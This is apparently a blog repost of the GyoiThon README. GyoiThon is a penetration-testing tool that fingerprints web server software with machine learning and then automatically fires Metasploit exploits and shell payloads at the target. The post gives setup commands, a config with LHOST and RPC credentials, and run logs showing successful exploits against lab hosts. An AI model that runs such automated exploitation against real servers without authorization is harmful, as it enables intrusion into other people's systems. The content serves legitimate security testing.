GyoiThon is a Growing Penetration Testing Tool Using Machine Learning.
GyoiThon identifies the software installed on web server (OS, Middleware, Framework, CMS, etc…) based on the learning data. After that, it executes valid exploits for the identified software using Metasploit. Finally, it generates reports of scan results. GyoiThon executes the above processing automatically.
Processing steps
GyoiThon executes the above “Step1” – “Step4” fully automatically.
User’s only operation is to input the top URL of the target web server in GyoiThon.
It is very easy!
You can identify vulnerabilities of the web servers without taking time and effort.
Processing flow
Step 1. Gather HTTP responses.
GyoiThon gathers several HTTP responses of target website while crawling.
The following are example of HTTP responses gathered by GyoiThon.HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 03:01:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Etag: “409ed-183-53c5f732641c0”
Content-Length: 15271
…snip…HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 06:56:17 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;
path=/;
Content-Length: 37496
…snip…HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 04:19:19 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 11819
…snip…
<script src=”/core/misc/drupal.js?v=8.3.1″></script>
Step 2. Identify product name.
GyoiThon identifies product name installed on web server using following two methods.
1. Based on Machine Learning.
By using Machine Learning (Naive Bayes), GyoiThon identifies software based on a combination of slightly different features (Etag value, Cookie value, specific HTML tag etc.) for each software. Naive Bayes is learned using the training data which example below (Training data). Unlike the signature base, Naive Bayes is stochastically identified based on various features included in HTTP response when it cannot be identified software in one feature.
Etag: “409ed-183-53c5f732641c0”
GyoiThon can identify the web server software Apache.
This is because GyoiThon learns features of Apache such as “Etag header value (409ed-183-53c5f732641c0). In our survey, Apache use combination of numeral and lower case letters as the Etag value. And, Etag value is separated 4-5 digits and 3-4 digits and 12 digits, final digit is 0 in many cases.
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;
GyoiThon can identify the CMS Joomla!.
This is because GyoiThon learns features of Joomla! such as “Cookie name (f00e6 … 9831e) ” and “Cookie value (0eba9 … 7f587). In our survey, Joomla! uses 32 lower case letters as the Cookie name and Cookie value in many cases.
Training data (One example)
- Joomla! (CMS)
Set-Cookie: ([a-z0-9]32)=[a-z0-9]26,32;
Set-Cookie: [a-z0-9]32=([a-z0-9]26,32);
…snip…
- HeartCore (Japanese famous CMS)
Set-Cookie:.*=([A-Z0-9]32);.*
<meta name=[“‘](author)[“‘] content=[“‘]2.*
…snip…
- Apache (Web server software)
Etag:.*”.*-[0-9a-z]3,4-[0-9a-z]13”)[\r\n]
…snip…
2. Based on String matching.
Of course, GyoiThon can identify software by string matching also used in traditional penetration test tools. Examples are shown below.<script src=”/core/misc/drupal.js?v=8.3.1″></script>
GyoiThon can identify the CMS Drupal.
It is very easy.
Step 3. Exploit using Metasploit.
GyoiThon executes exploit corresponding to the identified software using Metasploit and it checks whether the software is affected by the vulnerability.
Running example
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_nonx_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp_uuid, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_ipv6_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_tcp, result: failure
…snip…
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_bind_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/tight_loop, result: bingo!!
Step 4. Generate scan report.
GyoiThon generates a report that summarizes vulnerabilities.
Report’s style is html.
- Sample gyoithon_report
GyoiThon Demo.
[embedded content]
Installation
- Step 1. git clone GyoiThon’s repository.
[email protected]:~$ git clone https://github.com/gyoisamurai/GyoiThon.git
- Step 2. install required packages.
[email protected]:~$ cd GyoiThon
[email protected]:~$ pip install -r requirements.txt
Usage
- Step 1. Initialize Metasploit DB
Firstly, you initialize metasploit db (postgreSQL) using msfdb command.
[email protected]:~# msfdb init
- Step 2. Launch Metasploit Framework
You launch Metasploit on the remote server that installed Metasploit Framework such as Kali Linux.
[email protected]:~# msfconsole
______________________________________________________________________________
| |
| METASPLOIT CYBER MISSILE COMMAND V4 |
|______________________________________________________________________________|
\\ / /
\\ . / / x
\\ / /
\\ / + /
\\ + / /
* / /
/ . /
X / / X
/ ###
/ # % #
/ ###
. /
. / . * .
/
*
+ *
^
#### __ __ __ ####### __ __ __ ####
#### / \\ / \\ / \\ ########### / \\ / \\ / \\ ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
https://metasploit.com
=[ metasploit v4.16.15-dev ]
+ — –=[ 1699 exploits – 968 auxiliary – 299 post ]
+ — –=[ 503 payloads – 40 encoders – 10 nops ]
+ — –=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
- Step 3 Launch RPC Server
You launch RPC Server of Metasploit following.
msf> load msgrpc ServerHost=192.168.220.144 ServerPort=55553 User=test Pass=test1234
[*] MSGRPC Service: 192.168.220.144:55553
[*] MSGRPC Username: test
[*] MSGRPC Password: test1234
[*] Successfully loaded plugin: msgrpc
msgrpc optionsdescription
ServerHost >IP address of your server that launched Metasploit. Above example is 192.168.220.144.
ServerPort >Any port number of your server that launched Metasploit. Above example is 55553.
User >Any user name using authentication (default => msf). Above example is test.
PassAny password using authentication (default => random string). Above example is test1234.
- Step 4 Edit config file.
You have to change following value in config.ini
…snip…
[GyoiExploit]
server_host : 192.168.220.144
server_port : 55553
msgrpc_user : test
msgrpc_pass : test1234
timeout : 10
LHOST : 192.168.220.144
LPORT : 4444
…snip…
Config Description
server_hostIP address of your server that launched Metasploit. Your setting value ServerHost in Step2.
server_portAny port number of your server that launched Metasploit. Your setting value ServerPort in Step2.
msgrpc_userMetasploit’s user name using authentication. Your setting value User in Step2.
msgrpc_passMetasploit’s password using authentication. Your setting value Pass in Step2.
LHOSTIP address of your server that launched Metasploit. Your setting value ServerHost in Step2.
- Step 5 Edit target file.
GyoiThon accesses target server using host.txt
So, you have to edit host.txt before executing GyoiThon.
sample of host.txt
target server => 192.168.220.148
target port => 80
target path => /oscommerce/catalog/
192.168.220.148 80 /oscommerce/catalog/
You have to separate IP address, port number and target path using single space.
Note
Current gyoithon.py is provisional version that without crawling function. We’ll add crawling functionality to GyoiThon coming soon. Then, target path will be unnecessary.
- Step 6 Run GyoiThon
You execute GyoiThon following command.
[email protected]:~$ python gyoithon.py
- Step 7 Check scan report
Please check scan report using any web browser.
[email protected]:~$ firefox “gyoithon root path”/classifier4gyoithon/report/gyoithon_report.html
Tips
1. How to add string matching patterns.
signatures path includes four files corresponding to each product categories.
[email protected]:~$ ls “gyoithon root path”/signatures/
signature_cms.txt
signature_framework.txt
signature_os.txt
signature_web.txt
- signature_cms.txt
It includes string matching patterns of CMS.
- signature_framework.txt
It includes string matching patterns of FrameWork.
- signature_os.txt
It includes string matching patterns of Operating System.
- signature_web.txt
It includes string matching patterns of Web server software.
If you want to add new string matching patterns, you add new string matching patterns at last line in each file.
ex) How to add new string matching pattern of CMS at signature_cms.txt.
[email protected](Powered by TikiWiki)
[email protected]<.*=(.*/wp-).*/.*>
[email protected](<meta name=”generator” content=”WordPress).*>
…snip…
[email protected]*(href=”fileadmin/templates/).*>
[email protected](<meta name=”generator” content=”TYPO3 CMS).*>
“new product name”@”regex pattern”
[EOF]
Note
Above new product name must be a name that Metasploit can identify. And you have to separate new product name and regex pattern using @.
2. How to add learning data.
signatures path includes four files corresponding to each product categories.
[email protected]:~$ ls “gyoithon root path”/classifier4gyoithon/train_data/
train_cms_in.txt
train_framework_in.txt
train_os_in.txt
train_web_in.txt
- train_cms_in.txt
It includes learning data of CMS.
- train_framework_in.txt
It includes learning data of FrameWork.
- train_os_in.txt
It includes learning data of Operating System.
- train_web_in.txt
It includes learning data of Web server software.
If you want to add new learning data, you add learning data at last line in each file.
ex) How to add new learning data of CMS at train_cms_in.txt.
[email protected](Set-Cookie: [a-z0-9]32=.*);
[email protected](Set-Cookie: .*=[a-z0-9]26,32);
…snip…
[email protected](xoops\.js)
[email protected](xoops\.css)
“new product name”@”regex pattern”
[EOF]
Note
Above new product name must be a name that Metasploit can identify. And you have to separate new product name and regex pattern using @.
In addition, since GyoiThon retrains with new training data, you have to delete old training data (*.pkl).
[email protected]:~$ ls “gyoithon root path”/classifier4gyoithon/trained_data/
train_cms_out.pkl
train_framework_out.pkl
train_web_out.pkl
[email protected]:~$ rm “gyoithon root path”/classifier4gyoithon/trained_data/*.pkl
3. How to change “Exploit module’s option”.
When GyoiThon exploits, it uses default value of Exploit module options.
If you want to change option values, please input any value to “user_specify” in exploit_tree.json as following.
“unix/webapp/joomla_media_upload_exec”: {
“targets”: {
“0”: [
“generic/custom”,
“generic/shell_bind_tcp”,
“generic/shell_reverse_tcp”,
…snip…
“TARGETURI”:
“type”: “string”,
“required”: true,
“advanced”: false,
“evasion”: false,
“desc”: “The base path to Joomla”,
“default”: “/joomla”,
“user_specify”: “/my_original_dir/”
,
Above example is to change value of TARGETURI option in exploit module “exploit/unix/webapp/joomla_media_upload_exec” to “/my_original_dir/” from “/joomla”.
4. How to use each instance.
GyoiClassifier.py
You can use the log “webconf.csv” gathered by GyoiThon or the log gathered by GyoiClassifier to identify products operated on the target server. Then, the product is identified using machine learning.
Usage (using webconf.csv)
GyoiClassifier identifies product name using webconf.csv.
[email protected]:~$ python GyoiClassifier.py -h
GyoiClassifier.py
Usage:
GyoiClassifier.py (-t <ip_addr> | –target <ip_addr>) (-p <port> | –port <port>) (-v <vhost> | –vhost <vhost>) [(-u <url> | –url <url>)]
GyoiClassifier.py -h | –help
Options:
-t –target Require : IP address of target server.
-p –port Require : Port number of target server.
-v –vhost Require : Virtual Host of target server.
-u –url Optional : Full URL for direct access.
-h –help Optional : Show this screen and exit.
[email protected]:~$ python GyoiClassifier.py -t 192.168.220.148 -p 80 -v 192.168.220.148
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
███╗ ███╗ █████╗ ██████╗██╗ ██╗██╗███╗ ██╗███████╗
████╗ ████║██╔══██╗██╔════╝██║ ██║██║████╗ ██║██╔════╝
██╔████╔██║███████║██║ ███████║██║██╔██╗ ██║█████╗
██║╚██╔╝██║██╔══██║██║ ██╔══██║██║██║╚██╗██║██╔══╝
██║ ╚═╝ ██║██║ ██║╚██████╗██║ ██║██║██║ ╚████║███████╗
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
██╗ ███████╗ █████╗ ██████╗ ███╗ ██╗██╗███╗ ██╗ ██████╗
██║ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██║████╗ ██║██╔════╝
██║ █████╗ ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║ ███╗
██║ ██╔══╝ ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║ ██║
███████╗███████╗██║ ██║██║ ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝ ╚═════╝
__ _ _ _ _ _ _
/ / ___| |_( )__ | |_| |__ ___ _ __ | |_ __ _| | __
/ / / _ \ __|/ __| | __| ‘_ \ / _ \| ‘_ \| __/ _` | |/ /
/ /__| __/ |_ \__ \ | |_| | | | (_) | | | | || (_| | <
\____/\___|\__||___/ \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py
——————————————
target : 192.168.220.148(192.168.220.148):80
target log : “gyoithon root path”../gyoithon\get_192.168.220.148_80_ip.log
[+] judge :
[-] category : web server
product : unknown
too low maximum probability.
[-] category : framework
product : unknown
too low maximum probability.
[-] category : cms
—–
ranking 1
product : heartcore
probability : 6.8966 %
reason : [[‘Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3’, ‘Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75’]]
—–
ranking 2
product : oscommerce
probability : 6.8966 %
reason : [[‘Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3’, ‘Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75’]]
—–
ranking 3
product : joomla
probability : 6.6667 %
reason : [[‘Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3’, ‘Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75’]]
——————————————
[+] done GyoiClassifier.py
GyoiClassifier.py finish!!
- Usage (using self-gathered log)
GyoiClassifier identifies product name using self-gathered log.
[email protected]:~$ python GyoiClassifier.py -t 192.168.220.129 -p 80 -v www.example.com -u http://www.example.com/
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
███╗ ███╗ █████╗ ██████╗██╗ ██╗██╗███╗ ██╗███████╗
████╗ ████║██╔══██╗██╔════╝██║ ██║██║████╗ ██║██╔════╝
██╔████╔██║███████║██║ ███████║██║██╔██╗ ██║█████╗
██║╚██╔╝██║██╔══██║██║ ██╔══██║██║██║╚██╗██║██╔══╝
██║ ╚═╝ ██║██║ ██║╚██████╗██║ ██║██║██║ ╚████║███████╗
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝
██╗ ███████╗ █████╗ ██████╗ ███╗ ██╗██╗███╗ ██╗ ██████╗
██║ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██║████╗ ██║██╔════╝
██║ █████╗ ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║ ███╗
██║ ██╔══╝ ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║ ██║
███████╗███████╗██║ ██║██║ ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝ ╚═════╝
__ _ _ _ _ _ _
/ / ___| |_( )__ | |_| |__ ___ _ __ | |_ __ _| | __
/ / / _ \ __|/ __| | __| ‘_ \ / _ \| ‘_ \| __/ _` | |/ /
/ /__| __/ |_ \__ \ | |_| | | | (_) | | | | || (_| | <
\____/\___|\__||___/ \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py
——————————————
target : http://www.example.com/
target log : not use
[+] judge :
[-] category : web server
product : unknown
too low maximum probability.
[-] category : framework
—–
ranking 1
product : php
probability : 66.6667 %
reason : [[‘Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe’]]
[-] category : cms
—–
ranking 1
product : joomla
probability : 13.3333 %
reason : [[‘Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe; path=/’], [‘Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe’], [‘Joomla!’]]
—–
ranking 2
product : heartcore
probability : 6.8966 %
reason : [[‘Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe’]]
——————————————
[+] done GyoiClassifier.py
GyoiClassifier.py finish!!
optionrequireddescription
-t, –targetyesIP address of target server.
-p, –portyesTarget port number.
-v, –vhostyesVirtual host of target server. If target server hasn’t virtual host, you indicate IP address.
-u, –urlnoURL of target server. If you want to gather newly logs of any server, indicate url of target server.
GyoiExploit.py
You can execute exploits thoroughly using all combinations of “Exploit module”, “Target” and “Payload” of Metasploit corresponding to user’s indicated product name and port number.
[email protected]:~$ python GyoiExploit.py -h
GyoiExploit.py
Usage:
GyoiExploit.py (-t <ip_addr> | –target <ip_addr>) (-p <port> | –port <port>) (-s <service> | –service <service>)
GyoiExploit.py -h | –help
Options:
-t –target Require : IP address of target server.
-p –port Require : Port number of target server.
-s –service Require : Service name (product name).
-h –help Optional : Show this screen and exit.
[email protected]:~$ python GyoiExploit.py -t 192.168.220.145 -p 3306 -s mysql
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗██╗██╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██║██║
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██║██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ╚═╝╚═╝
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ██╗██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝
__ _ _ _ _ _ _
/ / ___| |_( )__ | |_| |__ ___ _ __ | |_ __ _| | __
/ / / _ \ __|/ __| | __| ‘_ \ / _ \| ‘_ \| __/ _` | |/ /
/ /__| __/ |_ \__ \ | |_| | | | (_) | | | | || (_| | <
\____/\___|\__||___/ \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiExploit.py
[+] Get exploit list.
[*] Loading exploit list from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_list.csv
[+] Get exploit tree.
[*] Loading exploit tree from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_tree.json
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_bind_tcp, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/tight_loop, result: failure
…snip…
[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_bind_tcp_random_port, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/debug_trap, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/shell_bind_tcp, result: failure
…snip…
optionrequireddescription
-t, –targetyesIP address of target server.
-p, –portyesTarget port number.
-s, –serviceyesTarget service name identifiable by Metasploit.
If you want to change “exploit module” options, please refer this section [3. How to change “Exploit module’s option”].
Operation check environment
- Kali Linux 2017.3 (for Metasploit)
- Memory: 8.0GB
- Metasploit Framework 4.16.15-dev
2. Ubuntu 16.04 LTS (Host OS)
- CPU: Intel(R) Core(TM) i5-5200U 2.20GHz
- Memory: 8.0GB
- Python 3.6.1（Anaconda3）
- docopt 0.6.2
- jinja2 2.10
- msgpack-python 0.4.8
- pandas 0.20.3
Reviewed by Unknown
on
5:13 AM
Rating:
You have a good point here!I totally agree with what you have said!!Thanks for sharing your views...hope more people will read this article!!! Pentest
ReplyDeletePenetration Testing Really I enjoy your site with effective and useful information. It is included very nice post with a lot of our resources.thanks for share. i enjoy this post.
ReplyDeleteContinue to play out the test till the example breaks. tensile machine
ReplyDelete